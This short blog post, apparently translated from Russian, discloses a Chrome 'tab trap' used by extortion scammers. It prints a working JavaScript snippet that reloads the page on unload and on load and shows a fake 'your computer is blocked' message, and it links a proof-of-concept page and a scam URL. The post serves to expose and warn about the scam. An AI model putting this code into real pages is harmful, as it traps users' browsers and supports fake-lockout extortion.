Unclosed tab in Chrome


    A simple trick allows you to create a page that cannot be closed in Google Chrome.

    Proof: zhovner.com/tmp/chrome-trap.html

    Malicious code looks extremely simple:

         onbeforeunload=function(){
             location.reload();
                return "ВАШ КОМПЬЮТЕР ЗАБЛОКИРОВАН ...";
          };
          onload=function(){
             location.reload();
          }
    


    In the above example, because of the music, the page reloads a little longer, and you can manage to close it.
    The trick is already used by scammers extorting money under the pretext of locking the computer:

    https: //stop.podzone.org/stop_ip.php? Gorod = Moscow & ip = 127.0.0.1 & sid = 1 & br = 1

    image

    Also popular now: